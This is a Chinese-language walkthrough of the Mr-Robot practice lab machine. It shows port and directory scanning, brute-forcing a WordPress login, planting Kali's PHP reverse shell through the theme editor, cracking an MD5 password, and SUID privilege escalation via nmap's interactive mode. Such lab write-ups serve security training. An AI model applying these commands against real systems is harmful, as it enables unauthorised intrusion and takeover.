【靶机渗透】Mr-Robot靶机渗透练习_nmap提权

信息收集：

1.信息收集三部曲：扫描ip+端口扫描+目录扫描：

arp -a
nmap 192.168.225.171 -p 1-65535
python dirsearch.py -u http://192.168.225.171 -e * -i 200

这目录扫出来明显是wordpress的建站平台。

2.访问网页，页面是这样的：

3.访问robots.txt获取到一个字典和第一个key，字典到时候肯定会用来爆破密码的。

4.获取第一个key-1：

curl http://192.168.225.171/key-1-of-3.txt

 

 5.访问扫描出的登录地址：http://192.168.225.171/wp-login，账户密码用刚刚找到的字典爆破一下，进入lost your password页面，进行抓包发送到测试器：

6.清除所有payload，然后设置user_login为payload，导入字典进行爆破：

7. 爆破出来用户名为：elliot，有大小写的问题

返回登录界面，逐个尝试，并在此页面抓包，导入相同的字典，进行密码爆破：

得到账号：elloit，密码：ER28-0652，用该账号进行后台登录

反弹shell：

1.来到后台，发现editor里面可以写入内容，此时用kali自带的反向shell进行写入，需要修改为攻击机的ip：

cd /usr/share/webshells/php
cp php-reverse-shell.php /home //拷贝到home目录方便图形化界面打开看

 

 2.现在在kali上进行监听，点击upload file，此时访问404页面：192.168.225.171/404.php即可成功反弹shell：

3.在/home/robot目录下发现第二个key与一个密码文件，key-2没有权限，此时将密码文件进行md5解密：

密码：abcdefghijklmnopqrstuvwxyz

 4.进行su登录：

python -c "import pty;pty.spawn('/bin/bash')"
su robot
cat /home/robot/key-2-of-3.txt

nmap提权：

1.一般权限都是比较低的，所以需要提权，首先尝试suid提权：

find / -user root -perm -4000 -print 2>/dev/null

 

2.发现可以使用nmap提权，根目录下发现第三个key-3：

nmap --interactive
!sh